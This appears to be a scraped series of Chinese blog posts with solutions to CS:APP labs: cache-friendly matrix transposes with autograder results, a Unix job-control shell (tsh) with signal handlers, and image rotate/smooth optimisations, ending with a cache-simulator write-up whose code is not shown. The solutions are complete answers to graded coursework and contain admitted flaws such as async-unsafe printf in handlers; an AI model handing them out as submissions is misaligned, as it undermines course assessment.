B[c - 4][b + 4] = A[b + 4][c - 4];
B[c - 4][b + 5] = A[b + 5][c - 4];
B[c - 4][b + 6] = A[b + 6][c - 4];
B[c - 4][b + 7] = A[b + 7][c - 4];

B[c][b] = tmp0;
B[c][b + 1] = tmp1;
B[c][b + 2] = tmp2;
B[c][b + 3] = tmp3;

B[c][b + 4] = A[b + 4][c];
B[c][b + 5] = A[b + 5][c];
B[c][b + 6] = A[b + 6][c];
B[c][b + 7] = A[b + 7][c];
}
}
}

实际测试的缓存不命中数是1219次。

第三部分 61 × 67矩阵优化

由于61 × 67的矩阵不是方阵,不方便定量分析。同时限制放的比较宽松,满分misses小于2000,misses大于3000零分。因此无需考虑处理对角线,仅尝试换用不同的边长分块即可。16 × 16的分块已可以保证满分。

第三部分优化之后的代码如下:

1
2
3
4
5
6
7
8
9
for (a = 0 ; a < N ; a += 16) {
for (b = 0 ; b < M ; b += 16) {
for (c = b ; (c < b + 16) && (c < M) ; ++c) {
for (d = a ; (d < a + 16) && (d < N) ; ++d) {
B[c][d] = A[d][c];
}
}
}
}

实际测试的缓存不命中数是1847次。

实验结果

自动评分脚本给出的输出如下:

1
2
3
4
5
6
7
Cache Lab summary:
Points Max pts Misses
Csim correctness 27.0 27
Trans perf 32x32 8.0 8 287
Trans perf 64x64 8.0 8 1219
Trans perf 61x67 10.0 10 1847
Total points 53.0 53

实验总结

这次实验花费了我很久时间,最后还是参考了网上的解法并且花了很大精力去理解,实验给出的缓存条件非常苛刻,但同时也方便了定量分析。完成后确实大大加深了我对于缓存的理解。

这次实验中我认为比较重要/难的地方:一是对于缓存的理解以及矩阵元素在缓存中的排布问题;二是位于对角线上的分块不仅是内部而且在分块间存在的冲突不命中问题;三是虽然是矩阵,但是也要明确统一控制行列的变量。

评论和共享

实验答案托管在我的GitHub

这一个月一来一直在看《深入理解计算机系统》的后几章,终于全部看完了(除了第4章:处理器体系结构外)。然后开始集中处理实验,以下是Shell Lab的实验解答。

实验简介

Shell Lab - Writing Your Own Unix Shell主要是有关于进程、信号以及异常处理的实验,对应于书本的第8章:异常控制流。主要通过实现一个带作业控制的Unix Shell来熟悉进程以及信号的概念。

本实验已经给出了Tiny Shell的源程序的基本框架(tsh.c),你需要做的是填充该框架中的eval builtin_cmd do_bgfg waitfg sigchld_handler sigint_handler sigtstp_handler等函数。使得编译后的Shell具有相应的功能。

关于本实验的具体介绍详见实验讲义

Shell介绍

Shell是一个代表用户运行程序的命令行解释器。一个Shell周期性的打印一个提示符,从标准输入流等待一条命令行输入,然后根据命令行的输入执行相应的功能。

一条命令行输入是由空格分隔ASCII文本词(words)。命令行输入的第一个词要不然是一个内建命令(built-in command)要不然是一个可执行文件的路径。剩余的词是命令行参数。如果第一个词是内建命令,Shell立刻在当前进程中执行该命令。否则,词会被假设为一个可执行程序的路径。在这种情况下,Shell会fork出一个子进程,在子进程的上下文中加载并运行这个程序。被创建的子进程被称作任务(job)。总的来说,一个任务可以包含通过Unix管道(Unix Pipe)连接的多个子进程。

如果命令行输入以'&'结尾,那么这个任务将会在后台执行,这意味着Shell在打印下一个提示符并等待下一条命令行输入之前不会等待当前任务终止。在默认情况下,任务运行在前台,这意味这Shell在下一条命令行输入之前会等待当前任务终止。在任何的情况下, 只能有一个任务运行在前台,但是,可以有多个任务运行在后台。

例如,输入tsh> jobs使得Shell执行内建的jobs命令,输入tsh> /bin/ls -l -d则在前台运行ls程序,同时,这个程序的argc == 3,argv[0] == “/bin/ls”a,argv[1] == “-l”,argv[2] == “-d”。相应地,输入tsh> /bin/ls -l -d &则会在后台运行ls程序。

Unix Shell支持作业控制的概念,这允许用户将任务在前台和后台间来回移动,并且改变一个任务中进程的状态(运行,停止,终止)。按下ctrl-c将会发送SIGINT信号到当前前台任务的每一个进程中。按下ctrl-z将会发送SIGTSTP信号到前台任务的每一个进程中,SIGTSTP信号的默认功能是将进程设置为停止状态,直到其被一个SIGCONT信号唤醒。Unix Shell提供了不同的内建命令来支持作业控制,如:

  • jobs - 打印运行的和停止的后台任务
  • bg - 将一个停止的后台任务转变为一个运行的后台任务
  • fb - 将一个运行的或是停止的后台任务转变为一个运行的前台任务
  • kill - 终止一个任务

实验要求

所实现的tsh shell应当具有如下的特性:

  • 提示符应当为"tsh> "
  • 用户的命令行输入应当包括一个名字和0个或多个参数,均由一个或多个空格隔开。如果名字是一个内建命令,那么tsh应当立刻处理它并且等待下一个命令行输入。否则,tsh就会假设它是一个可执行文件的路径,并且在一个独立的子进程中加载并执行它
  • tsh不需要支持管道(|)和I/O重定向(>和<)
  • 按下ctrl-c(ctrl-z)将会导致一个SIGINT(SIGTSTP)信号被发送至当前的前台任务,如果现在没有前台任务,那么这些信号将没有效果
  • 如果命令行输入以一个'&'结束,那么tsh将会在后台运行这个任务,否则它会在前台运行这个任务
  • 每一个任务都可以被一个进程ID(PID)或是一个被tsh分配的正整数的任务ID(JID)唯一的标识。JIDS可以被前缀'%'标识,例如,'%5'就代表了JID 5,而'5'就代表了PID 5
  • tsh应当提供如下的内建命令:
    • quit命令直接终止shell
    • jobs命令列出所有在后台运行的任务
    • bg 命令通过给发送SIGCONT信号将其重启,然后将其在后台运行。参数既可以是一个PID,也可以是一个JID
    • fg 命令通过给发送SIGCONT信号将其重启,然后将其在前台运行。参数既可以是一个PID,也可以使一个JID
  • tsh应当回收它的所有僵死子进程。如果任何任务因为收到了一个未被捕获的信号而终止,那么tsh应当识别对应的事件并且输出相应的信息

实验评测

  1. 参考答案 - 实验提供了一个作为参考的tshref可执行文件作为tsh的参考。你的tsh应当提供和tshref一致的输出(除了PIDs以外)
  2. Shell驱动 - sdriver.pl程序将shell作为一个子进程来执行,根据trace file来向它发送命令和信号,并且将shell的输出捕获并输出。实验总共提供了16个trace file。关于sdriver的具体用法请参考实验讲义。

实验提供了tshref.out作为16个trace file在tshref程序下的参考输出。为了方便比较,写了一个小的(可能会有很多错误)的shell脚本gather_output.sh用来生成这些trace file在tsh下的输出,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin bash

output_file=tsh.out

echo "" > tsh.out

echo -e "\n" >> tsh.out

for trace_file in ./*.txt
do
echo -e "`./sdriver.pl -t $trace_file -s ./tsh -a "-p"`" >> tsh.out
done

echo -e "\n" >> tsh.out

实验思路

最早在做这个实验的时候一直没有什么头绪,即使已经参考了实验讲义,使用trace file来指导编程(trace file的难度自简单到复杂)。后来还是先好好的阅读了一遍给出的框架源代码,整理如下。

框架代码分析

描述
MAXLINE 定义了命令行1行允许的最大字符数 1024
MAXARGS 定义了命令行所允许的最大参数个数 128
MAXJOBS 定义了命令行同一时间允许的最多任务个数 16
MAXJID 定义了最大的任务ID 1<<16
UNDEF 未定义的状态 0
FG 任务运行在前台 1
BG 任务运行在后台 2
ST 任务停止 3

允许如下的状态转换
FG -> ST : ctrl-z
ST -> FG : fg命令
BG -> FG : fg命令
ST -> BG : bg命令

结构体

1
2
3
4
5
6
struct job_t {              //任务
pid_t pid; //任务的PID
int jid; //任务JID [1, 2, ...]
int state; //状态 - 包括UNDEF, BG, FG, ST
char cmdline[MAXLINE]; //对应的命令行输入
};

全局变量

变量名 变量类型 描述
environ char ** 定义在libc中 环境变量
prompt char[] 命令行提示符
verbose int 为1时输出额外信息
nextjid int 下一个待分配的JID
subf char[MAXLINE] 用于生成sprintf信息
jobs struct job_t [MAXJOBS] 全局任务表

函数列表

函数名 函数原型 描述
parseline int parseline(const char *cmdline, char **argv) 接收命令行输入以及参数列表,解析输入并且将解析到的参数存入参数列表,并且判断该命令是否以’&’结尾,是则返回1,否则返回0
sigquit_handler void sigquit_handler(int sig) SIGQUIT的信号处理函数
clearjob void clearjob(struct job_t *job) 将对应任务的PID,JID清零,状态设置为UNDEF,并且将命令行输入清空
initjobs void initjobs(struct job_t *jobs) 将任务列表中的所有任务清空
maxjid int maxjid(struct job_t *jobs) 返回任务列表中的最大JID
addjob int addjob(struct job_t jobs, pid_t pid, int state, char cmdline) 将给定任务添加至任务列表,如果nextjid超过了MAXJOBS,则将其重置为1
deletejob int deletejob(struct job_t *jobs, pid_t pid) 将对应任务从任务列表中删除,并将nextjid自增1
fgpid pid_t fgpid(struct job_t *jobs) 返回当前前台任务的PID,如果没有则返回0
getjobpid struct job_t getjobpid(struct job_t jobs, pid_t pid) 按照pid查询任务 如果没有则返回NULL
getjobjid struct job_t getjobjid(struct job_t jobs, int jid) 按照jid查询任务 如果没有则返回NULL
pid2jid int pid2jid(pid_t pid) 根据pid返回其jid,没有则返回0
listjobs void listjobs(struct job_t *jobs) 打印任务队列
usage void usage(void) 打印帮助信息
unix_error void unix_error(char *msg) 打印系统级错误信息并结束进程
app_error void app_error(char *msg) 打印应用级错误信息并结束进程
Signal handler_t Signal(int signum, handler_t handler) signal的包装函数
eval void eval(char *cmdline) 求值函数
builtin_cmd int builtin_cmd(char **argv) 处理内建函数
do_bgfg void do_bgfg(char **argv) 实现内建的bg和fg
waitfg void waitfg(pid_t pid) 等待前台的任务完成
sigchld_handler void sigchld_handler(int sig) SIGCHLD的信号处理程序
sigtstp_handler void sigtstp_handler(int sig) SIGTSTP的信号处理程序
sitint_handler void sigint_handler(int sig) SIGINT的信号处理程序

实验答案

为了简化篇幅,这里只附上几个相关的函数,已实现函数以及包装函数等就不一并附上。如有需要可以去GitHub中查看。

实验答案为我自己的实验解法,很可能不是最优解法,请不要直接抄袭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
void eval(char *cmdline)
{
char * argv[MAXARGS];
char buf[MAXLINE];
int bg; /* if run in background */
pid_t pid;

sigset_t mask_all, mask_chld, prev_chld;

/*initialize signal sets*/
Sigfillset(&mask_all);
Sigemptyset(&mask_chld);
Sigaddset(&mask_chld, SIGCHLD);

strcpy(buf, cmdline);
bg = parseline(buf, argv); /* parse the command line */
if (argv[0] == NULL) {
return;
} /* handles if there is empty input */

if (!builtin_cmd(argv)) { /* if the command line is builtin command */
Sigprocmask(SIG_BLOCK, &mask_chld, &prev_chld); /* block SIGCHLD to avoid potential race between addjob and deletejob */
if ((pid = Fork()) == 0) {
Setpgid(0, 0); /* give the child process a new group id to handle SIGINT correctly */
Sigprocmask(SIG_SETMASK, &prev_chld, NULL); /* unblock SIGCHLD */
Execve(argv[0], argv, environ);
}
Sigprocmask(SIG_BLOCK, &mask_all, NULL); /* mask all signals to avoid potential races */
addjob(jobs, pid, bg + 1, cmdline); /* add job to joblist */
Sigprocmask(SIG_SETMASK, &prev_chld, NULL);
if (!bg) { /* if the process should be exeuted in foreground */
waitfg(pid); /* fg wait explictly */
} else {
printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline); /* bg print message*/
}
}

return;
}

int builtin_cmd(char **argv)
{
/* handles the builtin command in current context */
if (!strcmp(argv[0], "quit")) {
exit(0); /* quit: exit directly*/
}
if (!strcmp(argv[0], "jobs")) {
listjobs(jobs); /* jobs: print the current job list */
return 1;
}
if (!strcmp(argv[0], "bg") || !strcmp(argv[0], "fg")) {
do_bgfg(argv); /* bg|fg: handles in function do_bgfg */
return 1;
}
if (!strcmp(argv[0], "&")) {
return 1; /* returns 1 for empty & */
}
return 0; /* not a builtin command */
}

void do_bgfg(char **argv)
{
int number = 0; /* used to store the converted number */
char * ptr = argv[1]; /* get the pointer to argument 1 */
char * endptr = NULL; /* used for error handling */
struct job_t * job = NULL; /* used to store job pointer */
if (!argv[1]) { /* returns if missing argument */
printf("%s command requires PID or %%jobid argument\n", argv[0]);
return;
}
if (*ptr == '%') { /* if argument 1 is job ID */
ptr++; /* adjust pointer */
number = strtol(ptr, &endptr, 10);
if (ptr == endptr) { /* handles convert error */
printf("%s: argument must be a PID or %%jobid\n", argv[0]);
return;
}
job = getjobjid(jobs, number); /* get the job */
if (!job) {/* handles if there is no such job */
printf("%%%d: No such job\n", number);
return;
}
} else {/* if argument 1 is pid */
number = strtol(ptr, &endptr, 10);
if (ptr == endptr) { /* handles convert error */
printf("%s: argument must be a PID or %%jobid\n", argv[0]);
return;
}
job = getjobpid(jobs, (pid_t)number); /* get the job */
if (!job) {/* handles if there is no such job */
printf("(%d): No such process\n", number);
return;
}
}
/* change process state and update the job list*/
if (!strcmp(argv[0], "bg")) { /*bg: turns ST to BG, send SIGCONT */
if(job->state == ST) {
Kill(-(job->pid), SIGCONT);
printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
job->state = BG;
}
} else if (!strcmp(argv[0], "fg")) {/* fg: turns ST/BG to FG, sent SIGCONT */
if(job->state == ST) {
Kill(-(job->pid), SIGCONT);
job->state = BG;
}
if(job->state == BG) {
job->state = FG;
waitfg(job->pid);
}
}
return;
}

void waitfg(pid_t pid)
{
while(fgpid(jobs)) { /* handles all zombie processes in signal handler */
sleep(0.01); /* busy loop only */
}
return;
}

void sigchld_handler(int sig)
{
int olderrno = errno; /* store old errno */
int status; /* used to trace pid's status */
sigset_t mask_all, prev_all;
pid_t pid;

Sigfillset(&mask_all);

while((pid = Waitpid(-1, &status, WUNTRACED | WNOHANG)) > 0) { /* waitpid without waiting(WNOHANG) */
if (WIFSTOPPED(status) && (WSTOPSIG(status) == SIGTSTP || WSTOPSIG(status) == SIGSTOP)) { /* if the process is stopped */
struct job_t * job = getjobpid(jobs, pid);
if (job && job->state != ST) { /* if the stop signal hasn't been catched */
printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, WSTOPSIG(status));
struct job_t * stpjob = getjobpid(jobs, pid);
stpjob->state = ST;/* handles here */
}
}
if (WIFSIGNALED(status) && WTERMSIG(status) == SIGINT) { /* it the terminate signal hasn't been catched */
struct job_t * job = getjobpid(jobs, pid);
if (job) {
printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, WTERMSIG(status));
/* handles here */
}
}
if (WIFEXITED(status) || WIFSIGNALED(status)) {
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all);
deletejob(jobs, pid);
Sigprocmask(SIG_SETMASK, &prev_all, NULL);
}/* remove the job in job list accordingly */
}
errno = olderrno;
return;
}

void sigint_handler(int sig)
{
int olderrno = errno; /* store old errno */
sigset_t mask_all, prev_all;
Sigfillset(&mask_all);
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all); /* block all signal in case the race between SIGINT and SIGCHLD */

pid_t pid;
pid = fgpid(jobs);
Kill(-pid, SIGINT); /* kill processes in fg job's process group */

printf("Job [%d] (%d) terminated by signal %d\n", pid2jid(pid), pid, sig); /* print the message */

deletejob(jobs, pid); /* delete job in joblist */

Sigprocmask(SIG_SETMASK, &prev_all, NULL);

errno = olderrno;
return;
}

void sigtstp_handler(int sig)
{
int olderrno = errno; /* store old errno */
sigset_t mask_all, prev_all;
Sigfillset(&mask_all);
Sigprocmask(SIG_BLOCK, &mask_all, &prev_all); /* block all signal in case the race between SIGTSTP and SIGCHLD */

pid_t pid;
pid = fgpid(jobs);
Kill(-pid, SIGTSTP); /* send SIGTSTP to fg job's process group */

printf("Job [%d] (%d) stopped by signal %d\n", pid2jid(pid), pid, sig); /* print the message */

struct job_t * stpjob = getjobpid(jobs, pid);
stpjob->state = ST; /* modify the job list */

Sigprocmask(SIG_SETMASK, &prev_all, NULL);

errno = olderrno;
return;
}

实验总结

总的来说不难的一个实验,关键在于要先理解整个框架中的代码,然后根据trace file渐进地完成程序。需要注意的地方实验讲义中的提示以及书本中都已经给出,这里不再赘述。需要强调的是SIGCHLD的信号处理程序需要处理未捕获的SIGTSTP和SIGINT信号。此外SIGINT/SIGTSTP和SIGCHLD的信号处理程序之间可能会有潜在的导致错误的冲突。(信号处理程序是可以被其他信号中断的,可以见trace16.txt)

此外,handler中的printf是异步不安全的,不推荐使用。以及书本中虽然使用了sigsuspend来实行同步,但是为了简化程序,根据实验讲义的提示,使用了忙循环处理前台等待,并且将回收僵死进程任务交给了sigchld_handler。这些都是本次实验中不足和可以修改的地方。

评论和共享

实验答案托管在我的GitHub

由于Cache Lab的Part B的64 × 64的矩阵一直拿不到满分,索性放在了一边,先从老的Performance Lab开始做起。

实验简介

Performance Lab - Code Optimization是有关性能优化的实验,对应于书本的第5章:优化程序性能和第6章:存储器层次结构。主要提供了利用书本所学的知识优化代码的机会。

本实验主要分为两个部分,每个部分分别对于一个简单的图像处理函数进行优化。第一个部分所优化的函数旋转(rotate)对于缓存更加敏感,而第二个部分所优化的函数平滑(smooth)则属于计算密集型函数。对它们优化的侧重是有所不同的。

本实验的具体介绍见实验讲义

实验介绍

在本实验中,我们将实现两个图像处理函数——旋转和平滑。

我们将一张图片抽象地表示为一个二维矩阵M,M(i, j)代表了M中第i行第j列的像素的值,该像素值被定义为红色、绿色、蓝色(RGB)的值的三元组。在本实验中,我们只考虑正方形的图片。下标遵循C语言风格,从0到N-1。

旋转操作被定义为将图片逆时针旋转90°,旋转可以分为两步实现——

  1. 将矩阵转置,即将M(i, j)变为M(j, i)
  2. 将矩阵的第i行和第N - i - 1交换

平滑操作被定义为将每一个像素点的值换位周围像素点(以该像素点为中心的最多3*3的正方形)的平均值。

实验要求

在本实验中像素(pixel)是一个定义如下的结构体:

1
2
3
4
5
6
The core data structure deals with image representation. A pixel is a struct as shown below:
typedef struct {
unsigned short red; /* R value */
unsigned short green; /* G value */
unsigned short blue; /* B value */
} pixel;

此外,为了简化起见,还定义了如下的宏:

1
#define RIDX(i,j,n) ((i)*(n)+(j))

旋转操作的朴素版本如下:

1
2
3
4
5
6
7
void naive_rotate(int dim, pixel *src, pixel *dst) {
int i, j;
for(i=0; i < dim; i++)
for(j=0; j < dim; j++)
dst[RIDX(dim-1-j,i,dim)] = src[RIDX(i,j,dim)];
return;
}

平滑操作的朴素版本如下(辅助函数未列出):

1
2
3
4
5
6
7
void naive_smooth(int dim, pixel *src, pixel *dst) {
int i, j;
for(i=0; i < dim; i++)
for(j=0; j < dim; j++)
dst[RIDX(i,j,dim)] = avg(dim, i, j, src); /* Smooth the (i,j)th pixel */
return;
}

为了简化起见,你可以假设所有的矩阵的边长都是32的倍数,并且在进行正确性测试的时候,只会测试5个值。

具体的注册函数和自动跑分机制请参阅实验讲义。

实验思路

旋转操作:旋转操作不涉及复杂的计算,经过测试将代码移动所带来的性能提升微乎其微。主要应当采用分块的手段提高代码的空间局部性的利用率。

平滑操作(平滑操作参考了别人的思路):平滑操作是计算密集型函数,经过测试,通过减少过程调用以及代码移动带来的有限的性能提升。
观察原始代码可以发现分支预测的惩罚是巨大的(因为循环只会执行3次,会带来大量的预测不命中)。我们可以考虑将红、绿、蓝三色的值的计算分开地并行处理,并且依次处理四个角、四条边、和剩余的像素点。以提升局部性的利用率并且降低分支预测不命中所带来的惩罚。

实验答案

旋转操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
void block_rotate(int dim, pixel * src, pixel * dst) {
int i, j, k, l;
int cst0 = dim - 1;
for (i = 0 ; i < dim ; i += 8) {
for (j = 0 ; j < dim ; j += 8) {
for (k = i ; k < i + 8 ; k++) {
for (l = j ; l < j + 8 ; l++) {
dst[RIDX(cst0 - l, k, dim)] = src[RIDX(k, l, dim)];
}
}
}
}
}

平滑操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void optimized_smooth(int dim, pixel * src, pixel * dst) {
int i, j;
int tmp;

dst[0].red = (src[0].red + src[1].red + src[dim].red + src[dim + 1].red) >> 2;
dst[0].green = (src[0].green + src[1].green + src[dim].green + src[dim + 1].green) >> 2;
dst[0].blue = (src[0].blue + src[1].blue + src[dim].blue + src[dim + 1].blue) >> 2;
i = dim - 1;
dst[i].red = (src[i].red + src[i - 1].red + src[i + dim].red + src[i + dim -1].red) >> 2;
dst[i].green = (src[i].green + src[i - 1].green + src[i + dim].green + src[i + dim -1].green) >> 2;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + dim].blue + src[i + dim -1].blue) >> 2;
i = i * dim;
dst[i].red = (src[i].red + src[i + 1].red + src[i - dim].red + src[i - dim + 1].red) >> 2;
dst[i].green = (src[i].green + src[i + 1].green + src[i - dim].green + src[i - dim + 1].green) >> 2;
dst[i].blue = (src[i].blue + src[i + 1].blue + src[i - dim].blue + src[i - dim + 1].blue) >> 2;
i = i + dim - 1;
dst[i].red = (src[i].red + src[i - 1].red + src[i - dim].red + src[i - dim - 1].red) >> 2;
dst[i].green = (src[i].green + src[i - 1].green + src[i - dim].green + src[i - dim - 1].green) >> 2;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i - dim].blue + src[i - dim - 1].blue) >> 2;

for (i = 1 ; i < dim - 1 ; i++) {
dst[i].red = (src[i].red + src[i - 1].red + src[i + 1].red + src[i + dim].red + src[i + dim - 1].red + src[i + dim + 1].red) / 6;
dst[i].green = (src[i].green + src[i - 1].green + src[i + 1].green + src[i + dim].green + src[i + dim - 1].green + src[i + dim + 1].green) / 6;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + 1].blue + src[i + dim].blue + src[i + dim - 1].blue + src[i + dim + 1].blue) / 6;
}
for (i = dim * (dim - 1) + 1 ; i < dim * dim - 1 ; i++) {
dst[i].red = (src[i].red + src[i - 1].red + src[i + 1].red + src[i - dim].red + src[i - dim - 1].red + src[i - dim + 1].red) / 6;
dst[i].green = (src[i].green + src[i - 1].green + src[i + 1].green + src[i - dim].green + src[i - dim - 1].green + src[i - dim + 1].green) / 6;
dst[i].blue = (src[i].blue + src[i - 1].blue + src[i + 1].blue+ src[i - dim].blue + src[i - dim - 1].blue+ src[i - dim + 1].blue) / 6;
}
for (j = dim ; j < dim * (dim - 1) ; j+= dim) {
dst[j].red = (src[j].red + src[j + 1].red + src[j - dim].red + src[j - dim + 1].red + src[j + dim].red + src[j + dim + 1].red) / 6;
dst[j].green = (src[j].green + src[j + 1].green + src[j - dim].green+ src[j - dim + 1].green + src[j + dim].green + src[j + dim + 1].green) / 6;
dst[j].blue = (src[j].blue + src[j + 1].blue + src[j - dim].blue + src[j - dim + 1].blue + src[j + dim].blue + src[j + dim + 1].blue) / 6;
}
for (j = 2 * dim - 1 ; j < dim * dim - 1 ; j += dim) {
dst[j].red = (src[j].red + src[j - 1].red + src[j - dim].red + src[j - dim - 1].red + src[j + dim].red + src[j + dim - 1].red) / 6;
dst[j].green = (src[j].green + src[j - 1].green + src[j - dim].green + src[j - dim - 1].green + src[j + dim].green + src[j + dim - 1].green) / 6;
dst[j].blue = (src[j].blue + src[j - 1].blue + src[j - dim].blue + src[j - dim - 1].blue + src[j + dim].blue + src[j + dim - 1].blue) / 6;
}

for (i = 1 ; i < dim - 1 ; i++) {
for (j = 1 ; j < dim - 1 ; j++) {
tmp = i * dim + j;
dst[tmp].red = (src[tmp].red + src[tmp - 1].red + src[tmp + 1].red + src[tmp - dim].red + src[tmp - dim - 1].red + src[tmp - dim + 1].red + src[tmp + dim].red + src[tmp + dim - 1].red + src[tmp + dim + 1].red) / 9;
dst[tmp].green = (src[tmp].green + src[tmp - 1].green + src[tmp + 1].green + src[tmp - dim].green + src[tmp - dim - 1].green + src[tmp - dim + 1].green + src[tmp + dim].green + src[tmp + dim - 1].green + src[tmp + dim + 1].green) / 9;
dst[tmp].blue = (src[tmp].blue + src[tmp - 1].blue + src[tmp + 1].blue + src[tmp - dim].blue + src[tmp - dim - 1].blue + src[tmp - dim + 1].blue + src[tmp + dim].blue + src[tmp + dim - 1].blue + src[tmp + dim + 1].blue) / 9;
}
}
}

实验总结

实验的第一部分对于缓存的要求不是很高,简单的分块可以带来很大的性能提升。

实验的第二部分实际上我是卡了比较久的,在发现减少过程调用和代码移动性能提升有限后我就卡住了,因为我发现似乎无法进行循环展开。实际上还是太生疏了,没有想到要分析性能瓶颈,最后参考了别人的答案,实际上看到了别人答案的一瞬间就豁然开朗了,但是在这之前完全没有想到会是分支预测的问题。还需要多加练习。

评论和共享

实验答案托管在我的GitHub

考完试之后一直比较颓废,本来想看完《深入理解计算机系统》的第5章——优化程序性能之后就赶快来做实验的,后来发现无论是Cache Lab还是Performance Lab都需要第6章——存储器层次结构的知识。看了几天的书,又磨蹭了几天,终于把Cache Lab的Part A写完了,总结如下。

实验简介

Cache Lab - Understanding Cache Memories主要是有关缓存的实验,对应于书本的第6章:存储器层次结构。主要阐明了缓存对于C语言程序的性能影响。

本实验主要分为两个部分。第一个部分要求完成一个C语言程序用来模拟缓存的行为;而第二个部分要求优化一个小的矩阵变换函数,使其具有尽可能小的缓存不命中率。

关于本实验的具体介绍详见实验讲义

实验介绍

实验讲义中的traces子文件夹下包含了一组reference trace files,用来作为评估Part A中缓存模拟器正确性的样例数据。这些文件是由valgrind生成的。

Valgrind是一个用于内存调试,内存泄露以及性能分析的软件。例如,我们输入如下的命令:

1
linux> valgrind --log-fd=1 --tool=lackey -v --trace-mem=yes ls -l

valgrind会在命令行中执行ls -l命令并且按照顺序记录该命令的每一次内存访问,并且将其输出到标准输出流中。

下面是一个valgrind的输出样例:

1
2
3
4
I 0400d7d4,8
M 0421c7f0,4
L 04f6b868,8
S 7ff0005c8,8

每一行的基本格式如下:

1
[空格]操作 地址,大小

操作代表了内存访问的种类,'I'代表的是指令加载,'L'代表的是数据加载,'S'代表的是数据存储,'M'代表的是数据修改(如一条数据加载之后紧跟着数据存储)。在'I'之前永远没有空格,而其他的操作前必定有前置空格。
地址代表的是一个64位的16进制内存地址。
大小指明了该次内存访问涉及的字节数。

实验要求 - Part A

在Part A中你需要在csim.c中实现一个LRU驱逐机制的缓存模拟器,该模拟器接收valgrind的trace作为输入,模拟一个缓存在该情况下的命中/不命中情况,并且输出所有的命中,不命中以及驱逐的次数。

本实验已经提供了一个用来参考的缓存模拟器csim-ref,其使用方式以及输出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Usage: ./csim-ref [-hv] -s <s> -E <E> -b <b> -t <tracefile>
• -h: Optional help flag that prints usage info
• -v: Optional verbose flag that displays trace info
• -s <s>: Number of set index bits (S = 2 s is the number of sets)
• -E <E>: Associativity (number of lines per set)
• -b <b>: Number of block bits (B = 2 b is the block size)
• -t <tracefile>: Name of the valgrind trace to replay

linux> ./csim-ref -s 4 -E 1 -b 4 -t traces/yi.trace
hits:4 misses:5 evictions:3

linux> ./csim-ref -v -s 4 -E 1 -b 4 -t traces/yi.trace
L 10,1 miss
M 20,1 miss hit
L 22,1 hit
S 18,1 hit
L 110,1 miss eviction
L 210,1 miss eviction
M 12,1 miss eviction hit
hits:4 misses:5 evictions:3

对于Part A有以下的要求和限制:

  1. 所写的程序编译时不能有任何的警告
  2. 能应对不同s,E和b的缓存生成对应的结果,这要求使用malloc来为你的数据结构分配空间
  3. 不需要考虑指令加载的缓存情况
  4. 调用printSummary打印最终的结果
  5. 假定数据已经适当对齐,不会出现一次数据加载跨区块的情况。这样,你可以忽略trace中的大小

除此以外,实验的自学者讲义中还包含了一些提示,这里就不再赘述。

完成了Part A之后,可以用make clean && make进行编译,并且用./test-csim进行自动评分,总共有8组样例,共27分满分。

实验过程 - Part A

实验思路

整个模拟器在思路上可以进行如下的拆分:

1.命令行参数解析

由于该模拟器是命令行程序并且接受命令行参数,因此需要能对命令行参数进行解析和处理,这里推荐使用getopt进行参数的解析。并且根据不同的参数执行不同的控制流,并且处理一些基本的错误如参数缺失以及参数类型错误。

2.数据结构

这是整个模拟器最基本的部分。我们需要创建合适的数据结构来模拟缓存,该数据结构不仅要能模拟缓存的数据的实际组织方式(有效位,标志位以及行和块等等),还需要考虑到LRU的驱逐机制。

3.文件中内存访问记录的处理和解析

这个是模拟器中核心的部分。模拟器的功能就是从文件中接收内存访问记录,并且根据这些记录来模拟缓存的行为,操作我们所设计的缓存的数据结构。

实验代码

该代码仅供参考,很可能并不是一个非常好的解法。如果你也在面对同样的实验,请不要抄袭,毕竟抄袭是不会使你变得更强的:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
